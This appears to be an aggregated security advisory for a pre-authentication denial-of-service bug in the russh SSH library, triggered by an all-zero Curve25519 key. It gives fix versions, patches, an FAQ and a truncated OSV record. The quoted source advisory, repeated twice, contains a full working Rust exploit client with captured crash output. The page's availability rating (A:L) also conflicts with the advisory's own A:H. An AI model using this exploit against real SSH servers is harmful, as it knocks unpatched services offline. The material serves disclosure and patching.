CVE-2026-73430: Russh Pre-auth Remote Panic Vulnerability

MODERATE
Advisory Identifier: GHSA-5xvq-cp9x-6p6r
CVSS 5.3
CWE-754
Published
Advisory Summary

CVE-2026-73430 is a MODERATE (CVSS 5.3) pre-auth remote panic vulnerability (CWE-754: Improper Check for Unusual or Exceptional Conditions) affecting Russh libraries in the crates.io ecosystem. The issue involves pre-auth remote panic via all-zero curve25519 peer public value (encode_mpint oob). Remediation is available by upgrading affected packages to version 0.62.4.

CVE-2026-73430 at a Glance

CVE Identifier CVE-2026-73430
GHSA Identifier GHSA-5xvq-cp9x-6p6r
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-754: Improper Check for Unusual or Exceptional Conditions
Affected Product Russh
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-73430

To remediate this vulnerability, upgrade all affected Russh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

russh fixed: 0.62.4
Upgrade russh to 0.62.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for russh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-73430, inspect your project dependencies for Russh:

inspect dependencies for russh

Analyze the terminal output to locate any version of Russh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.62.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions, where the product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. In Russh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit `c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as of 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT` whose `Q_C` is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so `server_dh()` computes the all-zero shared secret and `compute_exchange_hash()` then calls `encode_mpint(&shared.0, ...)`, which indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds: the len is 32 but the index is 32`) **before host-key signature verification**. The server KEX task dies on the first KEX message, before authentication. This is reachable with the **default** server configuration (`Config::default()` → `Preferred::DEFAULT`, whose kex list includes `curve25519-sha256`) and requires **no caller-supplied parameter**. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on `main` HEAD (`v0.62.3`, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519). Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote **denial of service**. ## Details `russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client): ```rust fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> { // only the 32-byte length is checked, NOT zero / low-order: let mut pubkey = MontgomeryPoint([0; 32]); pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73 ... let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32] self.shared_secret = Some(shared); // line 86 Ok(()) } ``` The server then computes the exchange hash **before** verifying the host-key signature (`russh/src/server/kex.rs`): ```rust kex.server_dh(exchange, &input.buffer)?; // line 247 ... let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics ``` `compute_exchange_hash()` calls `encode_mpint(&shared.0, buffer)`, whose leading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]` (`russh/src/kex/mod.rs`): ```rust pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> { let mut i = 0; while i < s.len() && s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input if s[i] & 0x80 != 0 { // line 482 — index out of bounds: s[s.len()] ... ``` On Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])` (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity). ## PoC The PoC is a standalone `examples/` binary that links the **unmodified** real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero `Q_C` → panic) and a CONTROL case (random `Q_C` → completes kex), proving the panic is caused specifically by the all-zero value. ### One-line reproducer ```bash # Drop the .rs below into russh/examples/ of a checkout of # Eugeny/russh @ c4be19f1915c (tag v0.62.2), then: cargo +stable build --release --example e2e_t13_zero_curve25519 RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519 ``` ### `russh/examples/e2e_t13_zero_curve25519.rs` ```rust // End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics // russh's SSH exchange-hash computation. // // A real `russh::server` with `Config::default()` (curve25519-sha256 in the // default kex list) + a real Ed25519 host key is started on a TCP listener. // A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering // curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes. // The server drives the real path server_dh -> compute_exchange_hash -> // encode_mpint and panics. A CONTROL case with a random Q_C completes kex. use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; use byteorder::{BigEndian, ByteOrder}; use russh::server::{self, Handler}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::{TcpListener, TcpStream}; const MSG_KEXINIT: u8 = 20; const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3 const MSG_KEX_ECDH_REPLY: u8 = 31; #[tokio::main] async fn main() { println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n"); let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await; println!(); let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await; println!("\n=== summary ==="); println!("case | server panicked | got ECDH_REPLY"); println!("ATTACK | {atk_panic:<15} | {atk_reply} (Q_C = all-zero)"); println!("CONTROL | {ctl_panic:<15} | {ctl_reply} (Q_C = random non-zero)"); if atk_panic && !atk_reply && !ctl_panic && ctl_reply { println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):"); println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the"); println!(" all-zero Curve25519 point makes the real russh server panic"); println!(" inside encode_mpint (index out of bounds: len 32, index 32)"); println!(" during compute_exchange_hash, BEFORE host-key verification."); } else { eprintln!("NOT reproduced"); std::process::exit(1); } } enum QcKind { AllZero, Random } async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) { let panicked = Arc::new(AtomicBool::new(false)); { let flag = panicked.clone(); let prev = std::panic::take_hook(); std::panic::set_hook(Box::new(move |info| { flag.store(true, Ordering::SeqCst); eprintln!("[{label} server task panicked] {info}"); prev(info); })); } // real russh server, DEFAULT config (curve25519-sha256 in the kex list) // + real Ed25519 host key. let mut config = server::Config::default(); config.inactivity_timeout = None; config.auth_rejection_time = std::time::Duration::from_millis(1); config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1)); config.keys.push( russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(), ); let config = Arc::new(config); let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let addr = listener.local_addr().unwrap(); let server_task = tokio::spawn(async move { let (socket, _peer) = listener.accept().await.unwrap(); let session = server::run_stream(config, socket, NoopHandler).await.unwrap(); session.await }); // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C) let mut s = TcpStream::connect(addr).await.unwrap(); s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap(); s.flush().await.unwrap(); let _server_id = read_ssh_id(&mut s).await.unwrap(); let _server_kexinit = read_packet(&mut s).await.unwrap(); s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap(); s.flush().await.unwrap(); let q_c: [u8; 32] = match qc { QcKind::AllZero => [0u8; 32], QcKind::Random => { let mut b: [u8; 32] = rand::random(); if b.iter().all(|&x| x == 0) { b[0] = 1; } b } }; let mut ecdh_init = Vec::new(); ecdh_init.push(MSG_KEX_ECDH_INIT); encode_string(&mut ecdh_init, &q_c); s.write_all(&ssh_packet(&ecdh_init)).await.unwrap(); s.flush().await.unwrap(); let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" }; println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})"); let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await { Ok(Ok(pkt)) => { let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY); println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first()); is_reply } _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false } }; let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await; let server_panicked = panicked.load(Ordering::SeqCst); println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}"); let _ = std::panic::take_hook(); (server_panicked, got_reply) } #[derive(Clone)] struct NoopHandler; impl Handler for NoopHandler { type Error = russh::Error; } fn kexinit_payload_curve25519() -> Vec<u8> { let mut p = Vec::new(); p.push(MSG_KEXINIT); p.extend_from_slice(&[0u8; 16]); // cookie encode_name_list(&mut p, &["curve25519-sha256"]); // kex encode_name_list(&mut p, &["ssh-ed25519"]); // host key encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher encode_name_list(&mut p, &["hmac-sha2-256"]); // c2s mac encode_name_list(&mut p, &["hmac-sha2-256"]); // s2c mac encode_name_list(&mut p, &["none"]); // c2s compression encode_name_list(&mut p, &["none"]); // s2c compression encode_name_list(&mut p, &[]); // c2s languages encode_name_list(&mut p, &[]); // s2c languages p.push(0); // first_kex_packet_follows = false push_u32(&mut p, 0); // reserved p } fn ssh_packet(payload: &[u8]) -> Vec<u8> { let mut padding_len = 8 - ((5 + payload.len()) % 8); if padding_len < 4 { padding_len += 8; } let packet_len = 1 + payload.len() + padding_len; let mut packet = Vec::with_capacity(4 + packet_len); push_u32(&mut packet, packet_len as u32); packet.push(padding_len as u8); packet.extend_from_slice(payload); packet.resize(packet.len() + padding_len, 0); packet } async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> { let mut len_buf = [0u8; 4]; stream.read_exact(&mut len_buf).await?; let packet_len = BigEndian::read_u32(&len_buf) as usize; let mut packet = vec![0u8; packet_len]; stream.read_exact(&mut packet).await?; let padding_len = packet[0] as usize; Ok(packet[1..packet.len() - padding_len].to_vec()) } async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> { let mut id = Vec::new(); loop { let mut byte = [0u8; 1]; stream.read_exact(&mut byte).await?; id.push(byte[0]); if byte[0] == b'\n' { return Ok(id); } } } fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); } fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); } fn push_u32(buf: &mut Vec<u8>, value: u32) { let mut bytes = [0u8; 4]; BigEndian::write_u32(&mut bytes, value); buf.extend_from_slice(&bytes); } ``` Real captured output (ATTACK, `RUST_BACKTRACE=1`): ``` [ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero) [ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8: index out of bounds: the len is 32 but the index is 32 thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8 stack backtrace: 3: russh::kex::encode_mpint::<CryptoVec> 4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash 5: <ServerKex>::step ... server::reply ... Session::run [ATTACK ] server task panicked = true, got ECDH_REPLY = false [CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true) [CONTROL] server task panicked = false, got ECDH_REPLY = true => CONFIRMED (end-to-end, real russh 0.62.2) ``` The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification. ## Impact **Remote, pre-authentication denial of service of any russh SSH server using the default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e` + `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the server's KEX task before authentication. Because the panic is in an async russh task it aborts that connection's handler; depending on the embedder's panic containment it can also tear down the server if the panic is not contained per-connection. A malicious SSH server can symmetrically crash a russh **client** after host-key verification by sending an all-zero `Q_S` in `SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity — requires the server to control its own signed host key). No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash. ### CVSS - `AV:N` — reachable from a remote SSH peer - `AC:L` — requires only a 32-byte all-zero `Q_C` - `PR:N` — pre-authentication - `UI:N` — no user interaction - `C:N`, `I:N` — no confidentiality or integrity impact demonstrated - `A:H` — remote unauthenticated crash of the server KEX task ### Suggested fixes Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in `server_dh()` / `compute_shared_secret()`: ```rust if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); } ``` and harden `encode_mpint` against the all-zero input: ```rust if i == s.len() { return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 §5 } ``` ### Affected versions - `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered by any of the 11 published russh GHSA advisories. Default `server::Config` and `client::Config` are affected (no feature flag or opt-in). ## Credit Independently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl).

CVE-2026-73430 Affected Russh Versions

1 component(s)
Fixed Versions:
0.62.4
Product / Package Ecosystem Affected Versions Fixed Version
russh
crates.io
< 0.62.4
0.62.4

References

Frequently Asked Questions

What is CVE-2026-73430?
CVE-2026-73430 is a security vulnerability in Russh involving Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB) under CWE-754: Improper Check for Unusual or Exceptional Conditions.
Which Russh versions are affected?
Affected versions include releases prior to 0.62.4 across affected packages: russh.
What version fixes CVE-2026-73430?
Upgrading to 0.62.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is russh affected?
Yes, russh is affected in releases prior to 0.62.4. Upgrade your dependency to 0.62.4 or later.
What is the CVSS score of CVE-2026-73430?
CVE-2026-73430 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-73430?
CVE-2026-73430 is classified under CWE-754: Improper Check for Unusual or Exceptional Conditions (The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.).
How can I check crates.io dependencies for CVE-2026-73430?
Run the dependency tree command: 'inspect dependencies for russh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5xvq-cp9x-6p6r",
  "modified" : "2026-08-12T20:55:41Z",
  "published" : "2026-07-24T16:45:26Z",
  "aliases" : [ "CVE-2026-73430" ],
  "summary" : "Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)",
  "details" : "A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT`\nwhose `Q_C` is 32 zero bytes. russh's Curve25519 KEX does not reject the\nall-zero peer public value, so `server_dh()` computes the all-zero shared\nsecret and `compute_exchange_hash()` then calls `encode_mpint(&shared.0, ...)`,\nwhich indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds:\nthe len is 32 but the index is 32`) **before host-key signature verification**.\nThe server KEX task dies on the first KEX message, before authentication.\n\nThis is reachable with the **default** server configuration\n(`Config::default()` → `Preferred::DEFAULT`, whose kex list includes\n`curve25519-sha256`) and requires **no caller-supplied parameter**. It is\nreproduced end-to-end against the unmodified real russh 0.62.2 library (a real\nserver + raw TCP client over TCP); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA advisories\n(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not\nCurve25519).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client):\n\n```rust\nfn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {\n    // only the 32-byte length is checked, NOT zero / low-order:\n    let mut pubkey = MontgomeryPoint([0; 32]);\n    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73\n    ...\n    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]\n    self.shared_secret = Some(shared);                    // line 86\n    Ok(())\n}\n```\n\nThe server then computes the exchange hash **before** verifying the host-key\nsignature (`russh/src/server/kex.rs`):\n\n```rust\nkex.server_dh(exchange, &input.buffer)?;                    // line 247\n...\nlet hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274 — panics\n```\n\n`compute_exchange_hash()` calls `encode_mpint(&shared.0, buffer)`, whose\nleading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]`\n(`russh/src/kex/mod.rs`):\n\n```rust\npub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {\n    let mut i = 0;\n    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input\n    if s[i] & 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]\n        ...\n```\n\nOn Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])`\n(the identity element), so the all-zero shared secret is attacker-controlled.\nRFC 7748 §6 requires implementations to detect and reject all-zero / low-order\npeer public values and shared secrets; russh does not. The client path\n(`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is\nreached only after the server host-key signature is verified, so it requires a\nmalicious server that can sign its own host key (same root cause, lower\nseverity).\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK\ncase (all-zero `Q_C` → panic) and a CONTROL case (random `Q_C` → completes kex),\nproving the panic is caused specifically by the all-zero value.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_t13_zero_curve25519\nRUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519\n```\n\n### `russh/examples/e2e_t13_zero_curve25519.rs`\n\n```rust\n// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics\n// russh's SSH exchange-hash computation.\n//\n// A real `russh::server` with `Config::default()` (curve25519-sha256 in the\n// default kex list) + a real Ed25519 host key is started on a TCP listener.\n// A raw TCP \"attacker\" client sends: SSH banner -> SSH_MSG_KEXINIT offering\n// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.\n// The server drives the real path server_dh -> compute_exchange_hash ->\n// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::Arc;\n\nuse byteorder::{BigEndian, ByteOrder};\nuse russh::server::{self, Handler};\nuse tokio::io::{AsyncReadExt, AsyncWriteExt};\nuse tokio::net::{TcpListener, TcpStream};\n\nconst MSG_KEXINIT: u8 = 20;\nconst MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3\nconst MSG_KEX_ECDH_REPLY: u8 = 31;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\\n\");\n\n    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, \"ATTACK \").await;\n    println!();\n    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, \"CONTROL\").await;\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | got ECDH_REPLY\");\n    println!(\"ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)\");\n    println!(\"CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)\");\n\n    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {\n        println!(\"\\n=> CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the\");\n        println!(\"   all-zero Curve25519 point makes the real russh server panic\");\n        println!(\"   inside encode_mpint (index out of bounds: len 32, index 32)\");\n        println!(\"   during compute_exchange_hash, BEFORE host-key verification.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nenum QcKind { AllZero, Random }\n\nasync fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)\n    // + real Ed25519 host key.\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(\n        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),\n    );\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();\n        session.await\n    });\n\n    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)\n    let mut s = TcpStream::connect(addr).await.unwrap();\n    s.write_all(b\"SSH-2.0-attacker\\r\\n\").await.unwrap();\n    s.flush().await.unwrap();\n    let _server_id = read_ssh_id(&mut s).await.unwrap();\n    let _server_kexinit = read_packet(&mut s).await.unwrap();\n    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();\n    s.flush().await.unwrap();\n\n    let q_c: [u8; 32] = match qc {\n        QcKind::AllZero => [0u8; 32],\n        QcKind::Random => {\n            let mut b: [u8; 32] = rand::random();\n            if b.iter().all(|&x| x == 0) { b[0] = 1; }\n            b\n        }\n    };\n    let mut ecdh_init = Vec::new();\n    ecdh_init.push(MSG_KEX_ECDH_INIT);\n    encode_string(&mut ecdh_init, &q_c);\n    s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();\n    s.flush().await.unwrap();\n    let qdesc = match qc { QcKind::AllZero => \"all-zero\", QcKind::Random => \"random\" };\n    println!(\"[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})\");\n\n    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {\n        Ok(Ok(pkt)) => {\n            let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);\n            println!(\"[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})\", pkt.first());\n            is_reply\n        }\n        _ => { println!(\"[{label}] read failed / connection closed (no ECDH_REPLY)\"); false }\n    };\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    println!(\"[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, got_reply)\n}\n\n#[derive(Clone)]\nstruct NoopHandler;\nimpl Handler for NoopHandler { type Error = russh::Error; }\n\nfn kexinit_payload_curve25519() -> Vec<u8> {\n    let mut p = Vec::new();\n    p.push(MSG_KEXINIT);\n    p.extend_from_slice(&[0u8; 16]); // cookie\n    encode_name_list(&mut p, &[\"curve25519-sha256\"]);          // kex\n    encode_name_list(&mut p, &[\"ssh-ed25519\"]);                // host key\n    encode_name_list(&mut p, &[\"chacha20-poly1305@openssh.com\"]); // c2s cipher\n    encode_name_list(&mut p, &[\"chacha20-poly1305@openssh.com\"]); // s2c cipher\n    encode_name_list(&mut p, &[\"hmac-sha2-256\"]);              // c2s mac\n    encode_name_list(&mut p, &[\"hmac-sha2-256\"]);              // s2c mac\n    encode_name_list(&mut p, &[\"none\"]);                      // c2s compression\n    encode_name_list(&mut p, &[\"none\"]);                      // s2c compression\n    encode_name_list(&mut p, &[]);                            // c2s languages\n    encode_name_list(&mut p, &[]);                            // s2c languages\n    p.push(0);                                                // first_kex_packet_follows = false\n    push_u32(&mut p, 0);                                      // reserved\n    p\n}\n\nfn ssh_packet(payload: &[u8]) -> Vec<u8> {\n    let mut padding_len = 8 - ((5 + payload.len()) % 8);\n    if padding_len < 4 { padding_len += 8; }\n    let packet_len = 1 + payload.len() + padding_len;\n    let mut packet = Vec::with_capacity(4 + packet_len);\n    push_u32(&mut packet, packet_len as u32);\n    packet.push(padding_len as u8);\n    packet.extend_from_slice(payload);\n    packet.resize(packet.len() + padding_len, 0);\n    packet\n}\n\nasync fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {\n    let mut len_buf = [0u8; 4];\n    stream.read_exact(&mut len_buf).await?;\n    let packet_len = BigEndian::read_u32(&len_buf) as usize;\n    let mut packet = vec![0u8; packet_len];\n    stream.read_exact(&mut packet).await?;\n    let padding_len = packet[0] as usize;\n    Ok(packet[1..packet.len() - padding_len].to_vec())\n}\n\nasync fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {\n    let mut id = Vec::new();\n    loop {\n        let mut byte = [0u8; 1];\n        stream.read_exact(&mut byte).await?;\n        id.push(byte[0]);\n        if byte[0] == b'\\n' { return Ok(id); }\n    }\n}\n\nfn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(\",\").as_bytes()); }\nfn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }\nfn push_u32(buf: &mut Vec<u8>, value: u32) {\n    let mut bytes = [0u8; 4];\n    BigEndian::write_u32(&mut bytes, value);\n    buf.extend_from_slice(&bytes);\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)\n[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:\nindex out of bounds: the len is 32 but the index is 32\nthread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8\nstack backtrace:\n   3: russh::kex::encode_mpint::<CryptoVec>\n   4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash\n   5: <ServerKex>::step ... server::reply ... Session::run\n[ATTACK ] server task panicked = true, got ECDH_REPLY = false\n[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)\n[CONTROL] server task panicked = false, got ECDH_REPLY = true\n=> CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe backtrace confirms the real in-library call path on a tokio worker,\npre-authentication, before any host-key signature verification.\n\n## Impact\n\n**Remote, pre-authentication denial of service of any russh SSH server using\nthe default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e`\n+ `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the\nserver's KEX task before authentication. Because the panic is in an async russh\ntask it aborts that connection's handler; depending on the embedder's panic\ncontainment it can also tear down the server if the panic is not contained\nper-connection.\n\nA malicious SSH server can symmetrically crash a russh **client** after\nhost-key verification by sending an all-zero `Q_S` in\n`SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity — requires the\nserver to control its own signed host key).\n\nNo confidentiality/integrity break is demonstrated. The all-zero shared secret\nwould itself be a catastrophic key-compromise if russh did not already crash,\nbut the observed impact is the crash.\n\n### CVSS\n\n- `AV:N` — reachable from a remote SSH peer\n- `AC:L` — requires only a 32-byte all-zero `Q_C`\n- `PR:N` — pre-authentication\n- `UI:N` — no user interaction\n- `C:N`, `I:N` — no confidentiality or integrity impact demonstrated\n- `A:H` — remote unauthenticated crash of the server KEX task\n\n### Suggested fixes\n\nReject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in\n`server_dh()` / `compute_shared_secret()`:\n\n```rust\nif client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }\n```\n\nand harden `encode_mpint` against the all-zero input:\n\n```rust\nif i == s.len() {\n    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 